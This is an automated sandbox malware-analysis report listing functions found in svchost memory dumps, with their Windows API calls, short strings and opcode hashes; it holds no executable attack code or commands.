Opcode ID: 65b39982983e806640910362ba4e105e6dc551b6220b15538d356c191c28ac3a
Instruction ID: eee8ddbebd137ff77ed4dfc8451c6d54f91bdde69a51e284d5195fa703101059
Opcode Fuzzy Hash: 65b39982983e806640910362ba4e105e6dc551b6220b15538d356c191c28ac3a
Instruction Fuzzy Hash: FFE1E472648F408AEB6AFF65E88B3AD37B0F7457A9F000156EE4A57B55CB34C490C704

Function 00000257E10AF394 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FreeLibrary.KERNEL32 ref: 00000257E10AF510
GetProcAddress.KERNEL32 ref: 00000257E10AF51C

Strings

ext-ms-, xrefs: 00000257E10AF46D
api-ms-, xrefs: 00000257E10AF45A

Memory Dump Source

Source File: 00000042.00000002.3283290878.00000257E10A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000257E10A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_66_2_257e10a0000_svchost.jbxd

Similarity

API ID: AddressFreeLibraryProc
String ID: api-ms-$ext-ms-
API String ID: 3013587201-537541572
Opcode ID: 978905767b5078ec9de210cf927baa423a0e9cdb829b06631a7440d3a6c0e710
Instruction ID: cf054b1d2baf678fe8bdec6d8eaa147d53923dc8430d7e3ded5bb42e28665e5b
Opcode Fuzzy Hash: 978905767b5078ec9de210cf927baa423a0e9cdb829b06631a7440d3a6c0e710
Instruction Fuzzy Hash: 2741C632399F0091FA1FDB16BC0B79A2391B745BE1F5942659D1E87784EF3CC4458328

Function 00000257E10A104C Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 99
memoryregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegQueryInfoKeyW.ADVAPI32 ref: 00000257E10A10B1
RegEnumValueW.ADVAPI32 ref: 00000257E10A1117
GetProcessHeap.KERNEL32 ref: 00000257E10A115A
HeapAlloc.KERNEL32 ref: 00000257E10A1168
GetProcessHeap.KERNEL32 ref: 00000257E10A1185
HeapFree.KERNEL32 ref: 00000257E10A1193

Strings

d, xrefs: 00000257E10A10D6

Memory Dump Source

Source File: 00000042.00000002.3283290878.00000257E10A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000257E10A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_66_2_257e10a0000_svchost.jbxd

Similarity

API ID: Heap$Process$AllocEnumFreeInfoQueryValue
String ID: d
API String ID: 3743429067-2564639436
Opcode ID: 4e806da6bf888755fbf7915dbe23be07e0600cef0dd9ac19d63751155720d402
Instruction ID: 9cf63d37dc8258112caa738864d3c548755d6f27b2a305309498d83b3183a8b3
Opcode Fuzzy Hash: 4e806da6bf888755fbf7915dbe23be07e0600cef0dd9ac19d63751155720d402
Instruction Fuzzy Hash: 27419F73218F84C6E765CF21F84A79E77A1F388B89F048129EA8907B58DF38D449CB14

Function 00000257E10AD068 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 54
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FlsGetValue.KERNEL32(?,?,?,00000257E10AC7DE,?,?,?,?,?,?,?,?,00000257E10ACF9D,?,?,00000001), ref: 00000257E10AD087
FlsSetValue.KERNEL32(?,?,?,00000257E10AC7DE,?,?,?,?,?,?,?,?,00000257E10ACF9D,?,?,00000001), ref: 00000257E10AD0A6
FlsSetValue.KERNEL32(?,?,?,00000257E10AC7DE,?,?,?,?,?,?,?,?,00000257E10ACF9D,?,?,00000001), ref: 00000257E10AD0CE
FlsSetValue.KERNEL32(?,?,?,00000257E10AC7DE,?,?,?,?,?,?,?,?,00000257E10ACF9D,?,?,00000001), ref: 00000257E10AD0DF
FlsSetValue.KERNEL32(?,?,?,00000257E10AC7DE,?,?,?,?,?,?,?,?,00000257E10ACF9D,?,?,00000001), ref: 00000257E10AD0F0

Strings

Y%, xrefs: 00000257E10AD0A6
1%, xrefs: 00000257E10AD0CE

Memory Dump Source

Source File: 00000042.00000002.3283290878.00000257E10A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000257E10A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_66_2_257e10a0000_svchost.jbxd

Similarity

API ID: Value
String ID: 1%$Y%
API String ID: 3702945584-1395475152
Opcode ID: eaed261e9eff258ccad1ac5f7a99306e4284ed666e6615725d2dc279c7a103a4
Instruction ID: 3937cb81b8b0f971906db0413d64368154e2d1c9df82cae5cad0a14440eaf12d
Opcode Fuzzy Hash: eaed261e9eff258ccad1ac5f7a99306e4284ed666e6615725d2dc279c7a103a4
Instruction Fuzzy Hash: C2118E707CCB8041FA6EA7357D5F36D71416B483F2F2443A4B93A066EADE78D4028728

Function 00000257E10A7510 Relevance: 12.2, APIs: 8, Instructions: 230COMMON

Download Yara Rule

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 00000257E10A7538
__scrt_acquire_startup_lock.LIBCMT ref: 00000257E10A758A
_RTC_Initialize.LIBCMT ref: 00000257E10A75B8
__scrt_dllmain_after_initialize_c.LIBCMT ref: 00000257E10A75DE
__scrt_release_startup_lock.LIBCMT ref: 00000257E10A7609

Memory Dump Source

Source File: 00000042.00000002.3283290878.00000257E10A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000257E10A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_66_2_257e10a0000_svchost.jbxd

Similarity

API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_release_startup_lock
String ID:
API String ID: 190073905-0
Opcode ID: 0257f947f8d22f27d89668d16c5c48cc6f3519c7a2ac610662f1932688afbc32
Instruction ID: 1fcdb397b1644b17d16c1eb1e9d437d376732d2965c1ff5ed4ddc4445df92217
Opcode Fuzzy Hash: 0257f947f8d22f27d89668d16c5c48cc6f3519c7a2ac610662f1932688afbc32
Instruction Fuzzy Hash: 168117317CCF4186FB5FAB65BC4B39926D0BB89782F44C4A5DA0447396FB3AC4458728

Function 00000257E10A9DC4 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 88libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32 ref: 00000257E10A9E49
GetLastError.KERNEL32 ref: 00000257E10A9E57
LoadLibraryExW.KERNEL32 ref: 00000257E10A9E81
FreeLibrary.KERNEL32 ref: 00000257E10A9EC7
GetProcAddress.KERNEL32 ref: 00000257E10A9ED3

Strings

api-ms-, xrefs: 00000257E10A9E69

Memory Dump Source

Source File: 00000042.00000002.3283290878.00000257E10A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000257E10A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_66_2_257e10a0000_svchost.jbxd

Similarity

API ID: Library$Load$AddressErrorFreeLastProc
String ID: api-ms-
API String ID: 2559590344-2084034818
Opcode ID: 57a387126f3cdca2e6377dd9e1e04e2dfecb224b041c0cba2ac35bf939624b8e
Instruction ID: 1ca0844d76c3e8bd01ab4792baa35eba0e52544e90a3a5dfd8280d08fd67e20c
Opcode Fuzzy Hash: 57a387126f3cdca2e6377dd9e1e04e2dfecb224b041c0cba2ac35bf939624b8e
Instruction Fuzzy Hash: CB31F63139AF00E1EE1BDB02BC0BB5523D4B748BA2F5905659E2F4B792DF38C0458328

Function 00000257E10B3DB4 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48fileCOMMON

Download Yara Rule

APIs

WriteConsoleW.KERNEL32 ref: 00000257E10B3DE5
GetLastError.KERNEL32 ref: 00000257E10B3DF1
CloseHandle.KERNEL32 ref: 00000257E10B3E09
CreateFileW.KERNEL32 ref: 00000257E10B3E34
WriteConsoleW.KERNEL32 ref: 00000257E10B3E53

Strings

CONOUT$, xrefs: 00000257E10B3E15

Memory Dump Source

Source File: 00000042.00000002.3283290878.00000257E10A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000257E10A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_66_2_257e10a0000_svchost.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast
String ID: CONOUT$
API String ID: 3230265001-3130406586
Opcode ID: ea8503a65e9befc0d33d9332805196394b6329e0df61646a9863ad39bb9ae76f
Instruction ID: 9ee7c4574fcb2fd013fb964aa6248de50fe65bdbb00ad364504beb63cc9ade48
Opcode Fuzzy Hash: ea8503a65e9befc0d33d9332805196394b6329e0df61646a9863ad39bb9ae76f
Instruction Fuzzy Hash: 3111BF31358F4086E756CB12FC4BB1972A4F388FE6F180265EA2A87794CF38C8148748

Function 00000257E10A3790 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 44COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 00000257E10A379E
GetCurrentProcess.KERNEL32 ref: 00000257E10A37CC
VirtualProtectEx.KERNEL32 ref: 00000257E10A37EE
GetCurrentProcess.KERNEL32 ref: 00000257E10A3809
VirtualProtectEx.KERNEL32 ref: 00000257E10A382A

Strings

wr, xrefs: 00000257E10A37FF

Memory Dump Source

Source File: 00000042.00000002.3283290878.00000257E10A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000257E10A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_66_2_257e10a0000_svchost.jbxd

Similarity

API ID: CurrentProcessProtectVirtual$HandleModule
String ID: wr
API String ID: 1092925422-2678910430
Opcode ID: d5ed198cecc284837a9554765ab7ffb778fa62629811cf0fe5ebc999f83bf42b
Instruction ID: 9a2b3325603176c98f4169559021404f9569204c8e58316270e8b4dcf71a70dc
Opcode Fuzzy Hash: d5ed198cecc284837a9554765ab7ffb778fa62629811cf0fe5ebc999f83bf42b
Instruction Fuzzy Hash: 60118B36348F4086EF199B22F80E76A62B4FB88B86F040468DE990B794EF3DC545C718

Function 00000257E10A5B30 Relevance: 9.2, APIs: 6, Instructions: 240threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00000257E10A5B6B
GetThreadContext.KERNEL32 ref: 00000257E10A5CD5

Part of subcall function 00000257E10A5960: GetCurrentThreadId.KERNEL32 ref: 00000257E10A5964

Memory Dump Source

Source File: 00000042.00000002.3283290878.00000257E10A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000257E10A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_66_2_257e10a0000_svchost.jbxd

Similarity

API ID: Thread$Current$Context
String ID:
API String ID: 1666949209-0
Opcode ID: 542e600666cb1ac52823d1f72aa5ca11f47e3ee1f4dc73a6c07a176fbafbfe1c
Instruction ID: 966c8cfc9cd363fdfda02b2bdcc18e9b8abbeec9a729aea55c5a0fc7a420839d
Opcode Fuzzy Hash: 542e600666cb1ac52823d1f72aa5ca11f47e3ee1f4dc73a6c07a176fbafbfe1c
Instruction Fuzzy Hash: E6D1C976248F88C1DA75DB0AF89A35A77A0F388B85F104252EACD47BA9DF3CC551CB14

Function 00000257E10A2F04 Relevance: 9.1, APIs: 5, Strings: 1, Instructions: 93memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00000257E10A2F27
HeapAlloc.KERNEL32 ref: 00000257E10A2F3A
StrCmpNIW.SHLWAPI ref: 00000257E10A2FAF
GetProcessHeap.KERNEL32 ref: 00000257E10A3015
HeapFree.KERNEL32 ref: 00000257E10A3023

Strings

dialer, xrefs: 00000257E10A2FA8

Memory Dump Source

Source File: 00000042.00000002.3283290878.00000257E10A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000257E10A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_66_2_257e10a0000_svchost.jbxd

Similarity

API ID: Heap$Process$AllocFree
String ID: dialer
API String ID: 756756679-3528709123
Opcode ID: 2e24de9146afbba5105044d4fd5602f1f9f0ed558a5ed62472976580c3eaf0ad
Instruction ID: cdb653347486f95d6936b3a6e080e65dbc29c48c69199ff8dba1e233120f6aa2
Opcode Fuzzy Hash: 2e24de9146afbba5105044d4fd5602f1f9f0ed558a5ed62472976580c3eaf0ad
Instruction Fuzzy Hash: CF31D232389F5186EA1ACF16FD4BB69A7A4FB44B86F084170AE4847B55EF34C4A18314

Function 00000257E10ACFA0 Relevance: 9.1, APIs: 6, Instructions: 57COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 00000257E10ACFAF
FlsSetValue.KERNEL32(?,?,?,00000257E10AD6B5,?,?,?,?,00000257E10AD778), ref: 00000257E10ACFE5
FlsSetValue.KERNEL32(?,?,?,00000257E10AD6B5,?,?,?,?,00000257E10AD778), ref: 00000257E10AD012
FlsSetValue.KERNEL32(?,?,?,00000257E10AD6B5,?,?,?,?,00000257E10AD778), ref: 00000257E10AD023
FlsSetValue.KERNEL32(?,?,?,00000257E10AD6B5,?,?,?,?,00000257E10AD778), ref: 00000257E10AD034
SetLastError.KERNEL32 ref: 00000257E10AD04F

Memory Dump Source

Source File: 00000042.00000002.3283290878.00000257E10A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000257E10A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_66_2_257e10a0000_svchost.jbxd

Similarity

API ID: Value$ErrorLast
String ID:
API String ID: 2506987500-0
Opcode ID: 4f148fb448054b99fdb5313590ff83f86fc6d8762bc770a772f95ba4b575ef67
Instruction ID: bbc7888f5e4037d8188519172c2121bad00389fe15c94999cae900f3cde1423e
Opcode Fuzzy Hash: 4f148fb448054b99fdb5313590ff83f86fc6d8762bc770a772f95ba4b575ef67
Instruction Fuzzy Hash: A4114D703C8F8081FA6E97317E4F76D21516B487E2F1447A4B936466E6DE78C4018728

Function 00000257E10A199C Relevance: 9.0, APIs: 6, Instructions: 42stringCOMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32 ref: 00000257E10A19C2
K32GetModuleFileNameExW.KERNEL32 ref: 00000257E10A19E0
PathFindFileNameW.SHLWAPI ref: 00000257E10A19EF
lstrlenW.KERNEL32 ref: 00000257E10A19FB
StrCpyW.SHLWAPI ref: 00000257E10A1A0E
CloseHandle.KERNEL32 ref: 00000257E10A1A1C

Memory Dump Source

Source File: 00000042.00000002.3283290878.00000257E10A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000257E10A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_66_2_257e10a0000_svchost.jbxd

Similarity

API ID: FileName$CloseFindHandleModuleOpenPathProcesslstrlen
String ID:
API String ID: 517849248-0
Opcode ID: 01214db588610ff501214a343c1506f8e4016efad0e64bbd234dc336c45f59d3
Instruction ID: 4c54e0cd68b01bb03e9099f5d5445d1d048295c9e60c374dc5866ed19de68462
Opcode Fuzzy Hash: 01214db588610ff501214a343c1506f8e4016efad0e64bbd234dc336c45f59d3
Instruction Fuzzy Hash: 48015731348F4082EA19DB52B89AB5A63A5F788FC2F888475DE5A43754DE38C989C704

Function 00000257E10A36C8 Relevance: 9.0, APIs: 6, Instructions: 38threadCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 00000257E10A36E4
GetCurrentProcess.KERNEL32 ref: 00000257E10A36F2
VirtualProtectEx.KERNEL32 ref: 00000257E10A3714
GetCurrentProcess.KERNEL32 ref: 00000257E10A3732
VirtualProtectEx.KERNEL32 ref: 00000257E10A3753
TerminateThread.KERNEL32 ref: 00000257E10A3762

Memory Dump Source

Source File: 00000042.00000002.3283290878.00000257E10A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000257E10A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_66_2_257e10a0000_svchost.jbxd

Similarity

API ID: CurrentProcessProtectVirtual$HandleModuleTerminateThread
String ID:
API String ID: 449555515-0
Opcode ID: 4c9ec6165d8c5af47ee19c29b3e549fd6cc17b885c385019f049dc0dac4977bc
Instruction ID: f5791e389f93502f4c9fee8c8b73c305a7e67720a75c226d159784ea1be0102c
Opcode Fuzzy Hash: 4c9ec6165d8c5af47ee19c29b3e549fd6cc17b885c385019f049dc0dac4977bc
Instruction Fuzzy Hash: 47011775259F4086EB2ADB22FC1F71A66B0BB99B87F0404A4DA5907764EF3DC148CB18

Function 00000257E10A9005 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 135COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00000257E10A9013
_IsNonwritableInCurrentImage.LIBCMT ref: 00000257E10A90A8
RtlUnwindEx.NTDLL ref: 00000257E10A90F7

Strings

f, xrefs: 00000257E10A9026
csm, xrefs: 00000257E10A908E

Memory Dump Source

Source File: 00000042.00000002.3283290878.00000257E10A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000257E10A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_66_2_257e10a0000_svchost.jbxd

Similarity

API ID: CurrentImageNonwritableUnwind__except_validate_context_record
String ID: csm$f
API String ID: 2395640692-629598281
Opcode ID: 114af5d7cf0438a1297bb8b9b6869ba79c6078414514cf9bb502ab9f42d0baed
Instruction ID: dfda00a6953bd7fd31afee440e3a8cdc3f116b40ca32194e381a607924f2b4fb
Opcode Fuzzy Hash: 114af5d7cf0438a1297bb8b9b6869ba79c6078414514cf9bb502ab9f42d0baed
Instruction Fuzzy Hash: 4C51A132749B008AEB1EDB25FC4FB593796F344B89F1081A8DA1747788EB75E981C718

Function 00000257E10A8FE8 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 75COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00000257E10A9013
_IsNonwritableInCurrentImage.LIBCMT ref: 00000257E10A90A8
RtlUnwindEx.NTDLL ref: 00000257E10A90F7

Strings

f, xrefs: 00000257E10A9026
csm, xrefs: 00000257E10A908E

Memory Dump Source

Source File: 00000042.00000002.3283290878.00000257E10A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000257E10A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_66_2_257e10a0000_svchost.jbxd

Similarity

API ID: CurrentImageNonwritableUnwind__except_validate_context_record
String ID: csm$f
API String ID: 2395640692-629598281
Opcode ID: 0036035fc280b7a5a111a049c7edfc77b7be6b9ab52e14187ebc45e366edaa55
Instruction ID: 7996f0918551bbe49c81effb0a51052158cdeed2e265b154e812129fb940380b
Opcode Fuzzy Hash: 0036035fc280b7a5a111a049c7edfc77b7be6b9ab52e14187ebc45e366edaa55
Instruction Fuzzy Hash: 7A317832388B409AE71ADB21FC4BB5937A5F340B8AF158158AE5747789DB39D980C718

Function 00000257E10A1A40 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 30stringCOMMON

Download Yara Rule

APIs

GetFinalPathNameByHandleW.KERNEL32 ref: 00000257E10A1A60
StrCmpNIW.SHLWAPI ref: 00000257E10A1A7A
lstrlenW.KERNEL32 ref: 00000257E10A1A89
StrCpyW.SHLWAPI ref: 00000257E10A1A9E

Strings

\\?\, xrefs: 00000257E10A1A6E

Memory Dump Source

Source File: 00000042.00000002.3283290878.00000257E10A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000257E10A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_66_2_257e10a0000_svchost.jbxd

Similarity

API ID: FinalHandleNamePathlstrlen
String ID: \\?\
API String ID: 2719912262-4282027825
Opcode ID: c1daab9146f2a1614ef605d22fd4f721266e20aa8a0235322e79b2424596649d
Instruction ID: d56e8e4ea1c63715ed7fae816492958a322087c5f1097162d2259ce4f6dc8c21
Opcode Fuzzy Hash: c1daab9146f2a1614ef605d22fd4f721266e20aa8a0235322e79b2424596649d
Instruction Fuzzy Hash: C2F06272348F4192EB65CF21FCDAB5A67A1F758BCAF848060DA4946954DF3CC68DCB04

Function 00000257E10ABC98 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 27libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32 ref: 00000257E10ABCBD
GetProcAddress.KERNEL32 ref: 00000257E10ABCD3
FreeLibrary.KERNEL32 ref: 00000257E10ABCFA

Strings

CorExitProcess, xrefs: 00000257E10ABCCC
mscoree.dll, xrefs: 00000257E10ABCB4

Memory Dump Source

Source File: 00000042.00000002.3283290878.00000257E10A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000257E10A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_66_2_257e10a0000_svchost.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 0f45d19500fbd6816ab24c8a126c5dacde8056cea587c59ff890217df17fdf5d
Instruction ID: a1c3fc9fb2c424eb5cf16538e388777059fc8f0e0a0ae8e1d12dd053b8120eaf
Opcode Fuzzy Hash: 0f45d19500fbd6816ab24c8a126c5dacde8056cea587c59ff890217df17fdf5d
Instruction Fuzzy Hash: D9F06271359F0481EB1ACB29FC4FB6A6321FB88BA2F540299DA6A461E4DF3CC4448354

Function 00000257E10A3044 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 27COMMON

Download Yara Rule

APIs

StrCmpIW.SHLWAPI ref: 00000257E10A3066
StrCpyW.SHLWAPI ref: 00000257E10A3076
StrCatW.SHLWAPI ref: 00000257E10A3082
PathCombineW.SHLWAPI ref: 00000257E10A3090

Strings

\\.\pipe\, xrefs: 00000257E10A305C

Memory Dump Source

Source File: 00000042.00000002.3283290878.00000257E10A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000257E10A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_66_2_257e10a0000_svchost.jbxd

Similarity

API ID: CombinePath
String ID: \\.\pipe\
API String ID: 3422762182-91387939
Opcode ID: 8c685e1f0b85bfe06f91eeefbd03c12bff8419d51c8b157116edbf6ca1c9c829
Instruction ID: 6788c6199675c10edf7c539ab1b1bd7f0a961ca82cbb9ee56a1611471c4650f0
Opcode Fuzzy Hash: 8c685e1f0b85bfe06f91eeefbd03c12bff8419d51c8b157116edbf6ca1c9c829
Instruction Fuzzy Hash: E1F08C2038DF8482EA49CF13BD1F619A260AB48FC2F0880B0EE6A07B18DF3CC4458708

Function 00000257E10A50D0 Relevance: 7.8, APIs: 5, Instructions: 318threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00000257E10A5156

Memory Dump Source

Source File: 00000042.00000002.3283290878.00000257E10A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000257E10A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_66_2_257e10a0000_svchost.jbxd

Similarity

API ID: CurrentThread
String ID:
API String ID: 2882836952-0
Opcode ID: e13ad259af2044a9722e5c88be2fea28068701e2040856c8b7ebe2328a6e9181
Instruction ID: 3bab7aea2da97d2c89cf869e435822f7947a441c0eb5686131a233f6f073e29f
Opcode Fuzzy Hash: e13ad259af2044a9722e5c88be2fea28068701e2040856c8b7ebe2328a6e9181
Instruction Fuzzy Hash: 8702F67225DB8086EBA5CB59F89635AB7A0F3C4785F104055EA8E87BA8DF7CC484CF14

Function 00000257E10A5710 Relevance: 7.6, APIs: 5, Instructions: 124threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00000257E10A5726

Memory Dump Source

Source File: 00000042.00000002.3283290878.00000257E10A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000257E10A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_66_2_257e10a0000_svchost.jbxd

Similarity

API ID: CurrentThread
String ID:
API String ID: 2882836952-0
Opcode ID: b02f694671304b5a077fe24bce3094f0c3b02718cee177a37b7a7da192a85efa
Instruction ID: 7c0b0c8c25f7da43d0dd52c625788ab6d70cb4887c3805681c3f7a601031dd5b
Opcode Fuzzy Hash: b02f694671304b5a077fe24bce3094f0c3b02718cee177a37b7a7da192a85efa
Instruction Fuzzy Hash: E261C77655DF40C6E76A8B1AF84A31AB7E0F388785F100155EA8E47BA8DB7CC444CF18

Function 00000257E10B4104 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 00000257E10B412C
_set_statfp.LIBCMT ref: 00000257E10B4147
_set_statfp.LIBCMT ref: 00000257E10B4163
_set_statfp.LIBCMT ref: 00000257E10B419F

Memory Dump Source

Source File: 00000042.00000002.3283290878.00000257E10A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000257E10A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_66_2_257e10a0000_svchost.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction ID: 9bd224d7f8937e48dcb23c6a92691f7b715b7476c5eb2bebaeb9097fbf750117
Opcode Fuzzy Hash: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction Fuzzy Hash: 3011A722FDCF5021F66E9568FC5FB6911406B783B6F180EA4A577876D6CA34CB41811C

Function 00000257E1083504 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 00000257E108352C
_set_statfp.LIBCMT ref: 00000257E1083547
_set_statfp.LIBCMT ref: 00000257E1083563
_set_statfp.LIBCMT ref: 00000257E108359F

Memory Dump Source

Source File: 00000042.00000002.3283125678.00000257E1070000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000257E1070000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_66_2_257e1070000_svchost.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction ID: a39f79cb811ea4c1becf5d789feaa45f4274d3385c809976c6f2e92f2461cad1
Opcode Fuzzy Hash: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction Fuzzy Hash: B911A7226DCF1119FA5E1529FC4F3693180EBD9376F4846B8A9660EFDACA78C8414228

Function 00000257E107F040 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 182COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00000257E107F124

Strings

or copy constructor iterator', xrefs: 00000257E107F25A, 00000257E107F275
Wednesday, xrefs: 00000257E107F1ED
Tuesday, xrefs: 00000257E107F0F4

Memory Dump Source

Source File: 00000042.00000002.3283125678.00000257E1070000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000257E1070000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_66_2_257e1070000_svchost.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: Tuesday$Wednesday$or copy constructor iterator'
API String ID: 3215553584-4202648911
Opcode ID: 9e57f18f61c22f0406784eb273be7b0d6046b42052b72e443b30de0c50228f55
Instruction ID: 8e9c97b707987eaf443330098e57a4151393cd7d99a53dd1af56ba60a02a01f1
Opcode Fuzzy Hash: 9e57f18f61c22f0406784eb273be7b0d6046b42052b72e443b30de0c50228f55
Instruction Fuzzy Hash: 7561D63268CF4042F66FFB69FD4F3B966A1F782742F514495DA2A07795DB34C8428308

Function 00000257E10AAA1C Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 147COMMON

Download Yara Rule

APIs

EncodePointer.KERNEL32 ref: 00000257E10AAA68
_CallSETranslator.LIBVCRUNTIME ref: 00000257E10AAAB7

Strings

MOC, xrefs: 00000257E10AAA7C
RCC, xrefs: 00000257E10AAA85

Memory Dump Source

Source File: 00000042.00000002.3283290878.00000257E10A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000257E10A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_66_2_257e10a0000_svchost.jbxd

Similarity

API ID: CallEncodePointerTranslator
String ID: MOC$RCC
API String ID: 3544855599-2084237596
Opcode ID: c123fbbb8780cd52d1c7b069b1b1cc678e7e4f5673d54000f6e5fbfac7098139
Instruction ID: 84adbe2866ac1e2fb66f4364389380746c042a873a352a778f6fc0d74beb4a81
Opcode Fuzzy Hash: c123fbbb8780cd52d1c7b069b1b1cc678e7e4f5673d54000f6e5fbfac7098139
Instruction Fuzzy Hash: E961BD33608F88CAEB29DF65E88639D77A0F358B89F044255EF4A17B99DB38C084C714

Function 00000257E10AAD78 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 145COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00000257E10AADA0
__FrameHandler3::FrameUnwindToEmptyState.LIBVCRUNTIME ref: 00000257E10AAE88

Strings

csm, xrefs: 00000257E10AADC2
csm, xrefs: 00000257E10AAEDA

Memory Dump Source

Source File: 00000042.00000002.3283290878.00000257E10A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000257E10A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_66_2_257e10a0000_svchost.jbxd

Similarity

API ID: Frame$EmptyHandler3::StateUnwind__except_validate_context_record
String ID: csm$csm
API String ID: 3896166516-3733052814
Opcode ID: b607b9418e38c48ebb6f53552568b8ff7a3aff5a85fd43f0b6d07fa9fad214e5
Instruction ID: ff1a59e2cae9877e41fdea86006ac35bc3c2ac676c8524eb9a1b3888c61eb4ec
Opcode Fuzzy Hash: b607b9418e38c48ebb6f53552568b8ff7a3aff5a85fd43f0b6d07fa9fad214e5
